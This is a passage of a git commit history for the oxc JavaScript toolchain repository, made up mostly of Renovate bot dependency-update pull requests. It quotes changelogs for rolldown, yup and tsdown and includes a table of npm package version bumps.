by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- contrib-guide: update just commands
([#​6181](https://redirect.github.com/rolldown/rolldown/issues/6181 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### ⚡ Performance
- pre calculate `side_effects_free_function_symbol_ref`
([#​6206](https://redirect.github.com/rolldown/rolldown/issues/6206 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- parallel clone ast
([#​6167](https://redirect.github.com/rolldown/rolldown/issues/6167 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- reserve capacity for rendered modules in `instantiate_chunk`
([#​6159](https://redirect.github.com/rolldown/rolldown/issues/6159 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### 🧪 Testing
- hmr: ensure each test isolated to be able to be retryed
([#​6142](https://redirect.github.com/rolldown/rolldown/issues/6142 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### ⚙️ Miscellaneous Tasks
- deps: lock file maintenance npm packages
([#​6219](https://redirect.github.com/rolldown/rolldown/issues/6219 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: lock file maintenance rust crates
([#​6217](https://redirect.github.com/rolldown/rolldown/issues/6217 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update github-actions
([#​6213](https://redirect.github.com/rolldown/rolldown/issues/6213 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: lock file maintenance npm packages
([#​6215](https://redirect.github.com/rolldown/rolldown/issues/6215 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update github-actions (major)
([#​6214](https://redirect.github.com/rolldown/rolldown/issues/6214 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- tweak wordings
([#​6208](https://redirect.github.com/rolldown/rolldown/issues/6208 ))
by [@​iiio2](https://redirect.github.com/iiio2 )
- fix unused import warnings
([#​6196](https://redirect.github.com/rolldown/rolldown/issues/6196 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- correct deprecated JSDoc reference for jsx option
([#​6195](https://redirect.github.com/rolldown/rolldown/issues/6195 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- add `if: always()` to wasi-test
([#​6190](https://redirect.github.com/rolldown/rolldown/issues/6190 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- skip `@rolldown/browser` build if no node related changes detected
([#​6189](https://redirect.github.com/rolldown/rolldown/issues/6189 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- extract wasi build to reusable workflow
([#​6188](https://redirect.github.com/rolldown/rolldown/issues/6188 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- deps: update dependency tsdown to v0.15.1
([#​6184](https://redirect.github.com/rolldown/rolldown/issues/6184 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency rolldown-plugin-dts to v0.16.5
([#​6182](https://redirect.github.com/rolldown/rolldown/issues/6182 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency rolldown-plugin-dts to v0.16.4
([#​6180](https://redirect.github.com/rolldown/rolldown/issues/6180 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- dev: implement Debug trait for DevOptions
([#​6173](https://redirect.github.com/rolldown/rolldown/issues/6173 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- deps: update dependency rolldown-plugin-dts to v0.16.3
([#​6172](https://redirect.github.com/rolldown/rolldown/issues/6172 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- update [@​napi-rs/cli](https://redirect.github.com/napi-rs/cli )
and js binding
([#​6157](https://redirect.github.com/rolldown/rolldown/issues/6157 ))
by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn )
- ci: ensure `@rolldown/browser` build without errors
([#​6155](https://redirect.github.com/rolldown/rolldown/issues/6155 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- ci: ensure running wasi tests correctly
([#​6154](https://redirect.github.com/rolldown/rolldown/issues/6154 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- add more tracing instrumentation
([#​6149](https://redirect.github.com/rolldown/rolldown/issues/6149 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- extend timeout for rollup test
([#​6143](https://redirect.github.com/rolldown/rolldown/issues/6143 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_error: remove unnecessary `type_aliases.rs`
([#​6133](https://redirect.github.com/rolldown/rolldown/issues/6133 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
###
[`v1.0.0-beta.37`](https://redirect.github.com/rolldown/rolldown/blob/HEAD/CHANGELOG.md#100-beta37---2025-09-10 )
[Compare
Source](https://redirect.github.com/rolldown/rolldown/compare/v1.0.0-beta.36...v1.0.0-beta.37 )
##### 🚀 Features
- partial align with const inline strategy with oxc in smart mode
([#​6126](https://redirect.github.com/rolldown/rolldown/issues/6126 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- dev: use PathsMut for non-debounced RecommendedWatcher
([#​6120](https://redirect.github.com/rolldown/rolldown/issues/6120 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: return whether the build is already scheduled from
`scheduleBuildIfStale` method
([#​6116](https://redirect.github.com/rolldown/rolldown/issues/6116 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- handle errors from `BundlerBuilder#build`
([#​6104](https://redirect.github.com/rolldown/rolldown/issues/6104 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- add debounceTickRate option for debounced watchers
([#​6113](https://redirect.github.com/rolldown/rolldown/issues/6113 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- support full build in `incrementalBuild` mode
([#​6098](https://redirect.github.com/rolldown/rolldown/issues/6098 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- add compare\_contents\_for\_polling option to dev watcher
([#​6108](https://redirect.github.com/rolldown/rolldown/issues/6108 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- dev: add `scheduleBuildIfStale` method to DevEngine
([#​6087](https://redirect.github.com/rolldown/rolldown/issues/6087 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: return changed files in onHmrUpdates callback
([#​6086](https://redirect.github.com/rolldown/rolldown/issues/6086 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- support function config with custom CLI arguments
([#​6076](https://redirect.github.com/rolldown/rolldown/issues/6076 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- improve `MISSING_EXPORT` warning to suggest `type` modifier
([#​6085](https://redirect.github.com/rolldown/rolldown/issues/6085 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- crates/rolldown\_watcher: introduce `PathsMut` to batch watch/unwatch
behaviors
([#​6075](https://redirect.github.com/rolldown/rolldown/issues/6075 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- enable `treeshake.commonjs` by default
([#​6072](https://redirect.github.com/rolldown/rolldown/issues/6072 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- dev: add debounce control and PollWatcher support to DevWatchOptions
([#​6070](https://redirect.github.com/rolldown/rolldown/issues/6070 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### 🐛 Bug Fixes
- use kqueue for file watch on mac
([#​6124](https://redirect.github.com/rolldown/rolldown/issues/6124 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- use patched notify for better file change event debouncing
([#​6125](https://redirect.github.com/rolldown/rolldown/issues/6125 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- support passing all js primitive value for `alias` plugin
([#​6123](https://redirect.github.com/rolldown/rolldown/issues/6123 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- track spans in member expression properties for accurate sourcemaps
([#​6100](https://redirect.github.com/rolldown/rolldown/issues/6100 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- correctly handle inlined CommonJS exports in member expressions
([#​6090](https://redirect.github.com/rolldown/rolldown/issues/6090 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- dev: ensure patch file names to be unique
([#​6096](https://redirect.github.com/rolldown/rolldown/issues/6096 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: normalize slash on Windows before comparing paths
([#​6095](https://redirect.github.com/rolldown/rolldown/issues/6095 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev/watch: debounce duration should default to 10
([#​6078](https://redirect.github.com/rolldown/rolldown/issues/6078 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### 🚜 Refactor
- simplify `__export` runtime helper to create target object internally
([#​6114](https://redirect.github.com/rolldown/rolldown/issues/6114 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- simplify module\_namespace construction second try
([#​6118](https://redirect.github.com/rolldown/rolldown/issues/6118 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- simplify module\_namespace construction
([#​5939](https://redirect.github.com/rolldown/rolldown/issues/5939 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- optimize member expression creation in AstSnippet
([#​6091](https://redirect.github.com/rolldown/rolldown/issues/6091 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- test-dev-server: sensible watcher configuration for CI env
([#​6077](https://redirect.github.com/rolldown/rolldown/issues/6077 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### 🧪 Testing
- dev: apply HMR edits on Windows
([#​6094](https://redirect.github.com/rolldown/rolldown/issues/6094 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### ⚙️ Miscellaneous Tasks
- Revert "chore: adjust breaking change template of cliff
([#​6069](https://redirect.github.com/rolldown/rolldown/issues/6069 ))"
([#​6130](https://redirect.github.com/rolldown/rolldown/issues/6130 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- test-dev-server: improve hmr test configuration
([#​6115](https://redirect.github.com/rolldown/rolldown/issues/6115 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- deps: update dependency rolldown-plugin-dts to v0.16.2
([#​6128](https://redirect.github.com/rolldown/rolldown/issues/6128 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- Revert "refactor: simplify module\_namespace construction
([#​5939](https://redirect.github.com/rolldown/rolldown/issues/5939 ))"
([#​6117](https://redirect.github.com/rolldown/rolldown/issues/6117 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- test-dev-server: optimize test log output
([#​6107](https://redirect.github.com/rolldown/rolldown/issues/6107 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- enable compare\_contents\_for\_polling and update poll interval for CI
test-dev-server
([#​6110](https://redirect.github.com/rolldown/rolldown/issues/6110 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- deps: update dependency vite to v7.1.5 \[security]
([#​6111](https://redirect.github.com/rolldown/rolldown/issues/6111 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- fix warnings reported by `just lint`
([#​6105](https://redirect.github.com/rolldown/rolldown/issues/6105 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- deps: update dependency tsdown to v0.15.0
([#​6102](https://redirect.github.com/rolldown/rolldown/issues/6102 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- use debug builds for browser tests in CI
([#​6092](https://redirect.github.com/rolldown/rolldown/issues/6092 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- test-dev-server: update polling interval and add retry logic for CI
tests
([#​6088](https://redirect.github.com/rolldown/rolldown/issues/6088 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- adjust breaking change template of cliff
([#​6069](https://redirect.github.com/rolldown/rolldown/issues/6069 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
##### ◀️ Revert
- "fix: replace\_plugin does not work as expected with .ts config
([#​5920](https://redirect.github.com/rolldown/rolldown/issues/5920 ))"
([#​6074](https://redirect.github.com/rolldown/rolldown/issues/6074 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
###
[`v1.0.0-beta.36`](https://redirect.github.com/rolldown/rolldown/blob/HEAD/CHANGELOG.md#100-beta36---2025-09-08 )
[Compare
Source](https://redirect.github.com/rolldown/rolldown/compare/v1.0.0-beta.35...v1.0.0-beta.36 )
##### 💥 BREAKING CHANGES
- drop CJS format, increase minimum required node
([#​6025](https://redirect.github.com/rolldown/rolldown/issues/6025 ))
by [@​sxzz](https://redirect.github.com/sxzz )
##### 🚀 Features
- rolldown\_plugin\_reporter: statically imported dynamic import warning
([#​6065](https://redirect.github.com/rolldown/rolldown/issues/6065 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_plugin\_reporter: warn large chunks
([#​6063](https://redirect.github.com/rolldown/rolldown/issues/6063 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown: oxc v0.87.0
([#​5975](https://redirect.github.com/rolldown/rolldown/issues/5975 ))
by [@​Boshen](https://redirect.github.com/Boshen )
##### 🐛 Bug Fixes
- allow keeping whitespace while enabling minify
([#​5893](https://redirect.github.com/rolldown/rolldown/issues/5893 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev/watch: build connection between file in `this.addWatchFile` and
currently transformed module during transform hook
([#​6048](https://redirect.github.com/rolldown/rolldown/issues/6048 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- validator of `output.minify`
([#​6062](https://redirect.github.com/rolldown/rolldown/issues/6062 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- codspeed rust benchmark ci
([#​6052](https://redirect.github.com/rolldown/rolldown/issues/6052 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- just command in ci
([#​6045](https://redirect.github.com/rolldown/rolldown/issues/6045 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- watch: only consider files read from disk are able to watch
([#​6037](https://redirect.github.com/rolldown/rolldown/issues/6037 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### 🚜 Refactor
- dev: introduce `DevWatchOptions` for enhanced file watching
configuration
([#​6057](https://redirect.github.com/rolldown/rolldown/issues/6057 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- unify to use `is_in_node_modules` from `rolldown_plugin_utils`
([#​6066](https://redirect.github.com/rolldown/rolldown/issues/6066 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
##### 🧪 Testing
- rust: ensure unused pure function call got treeshaked
([#​4524](https://redirect.github.com/rolldown/rolldown/issues/4524 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- hmr: tweak improper test
([#​6034](https://redirect.github.com/rolldown/rolldown/issues/6034 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- hmr: add test of editing multiple files in the same timeframe
([#​6029](https://redirect.github.com/rolldown/rolldown/issues/6029 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- hmr: support to edit multiple files in the same timeframe
([#​6014](https://redirect.github.com/rolldown/rolldown/issues/6014 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### ⚙️ Miscellaneous Tasks
- deps: lock file maintenance rust crates
([#​6003](https://redirect.github.com/rolldown/rolldown/issues/6003 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: lock file maintenance npm packages
([#​5995](https://redirect.github.com/rolldown/rolldown/issues/5995 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- add auto-assign PR workflow for organization members
([#​6058](https://redirect.github.com/rolldown/rolldown/issues/6058 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- fix benchmark-node workflow
([#​6060](https://redirect.github.com/rolldown/rolldown/issues/6060 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- adding `test-node-rolldown-only` just command
([#​6055](https://redirect.github.com/rolldown/rolldown/issues/6055 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- just commands in ci
([#​6056](https://redirect.github.com/rolldown/rolldown/issues/6056 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- run test ci when `justfile` is changed
([#​6049](https://redirect.github.com/rolldown/rolldown/issues/6049 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- remove unused warning for conditional compiled`SimplifyMinifyOptions`
([#​6047](https://redirect.github.com/rolldown/rolldown/issues/6047 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- remove auto approval ci
([#​6051](https://redirect.github.com/rolldown/rolldown/issues/6051 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- adding rustfmt components for `repo-validation`
([#​6053](https://redirect.github.com/rolldown/rolldown/issues/6053 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- repo: check format/style in `just lint-rust`
([#​6050](https://redirect.github.com/rolldown/rolldown/issues/6050 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- repo/ai: refine `justfile`
([#​6038](https://redirect.github.com/rolldown/rolldown/issues/6038 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- repo/ai: add `AGENTS.md` and `CLAUDE.md`
([#​6039](https://redirect.github.com/rolldown/rolldown/issues/6039 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- deps: update github-actions (major)
([#​6041](https://redirect.github.com/rolldown/rolldown/issues/6041 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update github-actions
([#​6040](https://redirect.github.com/rolldown/rolldown/issues/6040 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency rolldown-plugin-dts to v0.16.1
([#​6035](https://redirect.github.com/rolldown/rolldown/issues/6035 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
</details>
<details>
<summary>jquense/yup (yup)</summary>
###
[`v1.7.1`](https://redirect.github.com/jquense/yup/compare/v1.7.0...b413bf65ecdbea965a8e22060a16b5caa9b2c39b )
[Compare
Source](https://redirect.github.com/jquense/yup/compare/v1.7.0...b413bf65ecdbea965a8e22060a16b5caa9b2c39b )
</details>
<details>
<summary>rolldown/tsdown (tsdown)</summary>
###
[`v0.15.4`](https://redirect.github.com/rolldown/tsdown/releases/tag/v0.15.4 )
[Compare
Source](https://redirect.github.com/rolldown/tsdown/compare/v0.15.3...v0.15.4 )
##### 🐞 Bug Fixes
- **shortcuts**: Cleanup - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(2f769)</samp>](https://redirect.github.com/rolldown/tsdown/commit/2f76976 )
##### [View changes on
GitHub](https://redirect.github.com/rolldown/tsdown/compare/v0.15.3...v0.15.4 )
###
[`v0.15.3`](https://redirect.github.com/rolldown/tsdown/releases/tag/v0.15.3 )
[Compare
Source](https://redirect.github.com/rolldown/tsdown/compare/v0.15.2...v0.15.3 )
##### 🐞 Bug Fixes
- Correct Vite alias handling - by
[@​sushichan044](https://redirect.github.com/sushichan044 ) and
[@​sxzz](https://redirect.github.com/sxzz ) in
[#​497](https://redirect.github.com/rolldown/tsdown/issues/497 )
[<samp>(c142c)</samp>](https://redirect.github.com/rolldown/tsdown/commit/c142cd3 )
- **attw**: Success message - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(bbc00)</samp>](https://redirect.github.com/rolldown/tsdown/commit/bbc0081 )
##### [View changes on
GitHub](https://redirect.github.com/rolldown/tsdown/compare/v0.15.2...v0.15.3 )
###
[`v0.15.2`](https://redirect.github.com/rolldown/tsdown/releases/tag/v0.15.2 )
[Compare
Source](https://redirect.github.com/rolldown/tsdown/compare/v0.15.1...v0.15.2 )
##### 🚀 Features
- Add `globImport` option - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(cc30d)</samp>](https://redirect.github.com/rolldown/tsdown/commit/cc30d98 )
- Support `new URL(url, import.meta.url)` pattern by default - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(f26e0)</samp>](https://redirect.github.com/rolldown/tsdown/commit/f26e0c7 )
##### 🐞 Bug Fixes
- Handle empty string outExtensions - by
[@​adamhl8](https://redirect.github.com/adamhl8 ) in
[#​494](https://redirect.github.com/rolldown/tsdown/issues/494 )
[<samp>(621a3)</samp>](https://redirect.github.com/rolldown/tsdown/commit/621a30d )
- Remove runtime helper check - by
[@​ocavue](https://redirect.github.com/ocavue ) in
[#​495](https://redirect.github.com/rolldown/tsdown/issues/495 )
[<samp>(e9e81)</samp>](https://redirect.github.com/rolldown/tsdown/commit/e9e812f )
##### [View changes on
GitHub](https://redirect.github.com/rolldown/tsdown/compare/v0.15.1...v0.15.2 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions ) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-22 00:36:10 +00:00
Copilot
b52389a569
feat(node): Bump engines field to require Node.js 20.19.0+ for ESM support ( #13879 )
...
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com >
Co-authored-by: Boshen <1430279+Boshen@users.noreply.github.com >
2025-09-18 20:10:11 +08:00
renovate[bot]
b4e9d2c379
chore(deps): lock file maintenance npm packages ( #13758 )
...
Co-authored-by: Boshen <boshenc@gmail.com >
2025-09-15 13:15:05 +08:00
renovate[bot]
2eb1364517
chore(deps): update dependency axios to v1.12.0 [security] ( #13713 )
2025-09-12 13:36:25 +08:00
renovate[bot]
700c3b1d88
chore(deps): lock file maintenance npm packages ( #13582 )
...
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Boshen <boshenc@gmail.com >
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-08 11:01:53 +08:00
Sysix
b7e0d40af6
chore(lint): dont ignore tasks/e2e files ( #13543 )
2025-09-05 00:24:29 +00:00
renovate[bot]
d5738e5762
chore(deps): lock file maintenance npm packages ( #13483 )
...
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Boshen <boshenc@gmail.com >
2025-09-02 09:57:35 +08:00
renovate[bot]
7e1635a057
chore(deps): lock file maintenance npm packages ( #13282 )
...
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Boshen <boshenc@gmail.com >
2025-08-25 15:52:58 +08:00
renovate[bot]
44a8aa87c1
chore(deps): lock file maintenance npm packages ( #13161 )
2025-08-18 22:29:32 +08:00
renovate[bot]
9e69e1abef
chore(deps): lock file maintenance npm packages ( #12973 )
2025-08-11 14:17:42 +08:00
renovate[bot]
445414c881
chore(deps): lock file maintenance npm packages ( #12780 )
...
This PR contains the following updates:
| Package | Type | Update | Change | Age | Adoption | Passing |
Confidence |
|---|---|---|---|---|---|---|---|
| | | lockFileMaintenance | All locks refreshed | | | | |
| [antd](https://ant.design )
([source](https://redirect.github.com/ant-design/ant-design )) |
devDependencies | patch | [`5.26.6` ->
`5.26.7`](https://renovatebot.com/diffs/npm/antd/5.26.6/5.26.7 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [memfs](https://redirect.github.com/streamich/memfs ) | devDependencies
| minor | [`4.23.0` ->
`4.36.0`](https://renovatebot.com/diffs/npm/memfs/4.23.0/4.36.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [motion](https://redirect.github.com/motiondivision/motion ) |
devDependencies | patch | [`12.23.9` ->
`12.23.12`](https://renovatebot.com/diffs/npm/motion/12.23.9/12.23.12 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [oxlint](https://oxc.rs )
([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint ))
| devDependencies | minor | [`1.8.0` ->
`1.9.0`](https://renovatebot.com/diffs/npm/oxlint/1.8.0/1.9.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [playwright](https://playwright.dev )
([source](https://redirect.github.com/microsoft/playwright )) |
devDependencies | patch | [`1.54.1` ->
`1.54.2`](https://renovatebot.com/diffs/npm/playwright/1.54.1/1.54.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [pnpm](https://pnpm.io )
([source](https://redirect.github.com/pnpm/pnpm/tree/HEAD/pnpm )) |
packageManager | minor | [`10.13.1` ->
`10.14.0`](https://renovatebot.com/diffs/npm/pnpm/10.13.1/10.14.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [preact](https://preactjs.com )
([source](https://redirect.github.com/preactjs/preact )) |
devDependencies | minor | [`10.26.9` ->
`10.27.0`](https://renovatebot.com/diffs/npm/preact/10.26.9/10.27.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [react](https://react.dev/ )
([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react ))
| devDependencies | patch | [`19.1.0` ->
`19.1.1`](https://renovatebot.com/diffs/npm/react/19.1.0/19.1.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [react-dom](https://react.dev/ )
([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react-dom ))
| devDependencies | patch | [`19.1.0` ->
`19.1.1`](https://renovatebot.com/diffs/npm/react-dom/19.1.0/19.1.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [three](https://threejs.org/ )
([source](https://redirect.github.com/mrdoob/three.js )) |
devDependencies | minor | [`^0.178.0` ->
`^0.179.0`](https://renovatebot.com/diffs/npm/three/0.178.0/0.179.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [typescript](https://www.typescriptlang.org/ )
([source](https://redirect.github.com/microsoft/TypeScript )) |
pnpm.catalog.default | minor | [`5.8.3` ->
`5.9.2`](https://renovatebot.com/diffs/npm/typescript/5.8.3/5.9.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [typescript](https://www.typescriptlang.org/ )
([source](https://redirect.github.com/microsoft/TypeScript )) |
devDependencies | minor | [`5.8.3` ->
`5.9.2`](https://renovatebot.com/diffs/npm/typescript/5.8.3/5.9.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [yup](https://redirect.github.com/jquense/yup ) | devDependencies |
minor | [`1.6.1` ->
`1.7.0`](https://renovatebot.com/diffs/npm/yup/1.6.1/1.7.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [tsdown](https://redirect.github.com/rolldown/tsdown ) |
devDependencies | patch | [`0.13.0` ->
`0.13.2`](https://renovatebot.com/diffs/npm/tsdown/0.13.0/0.13.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
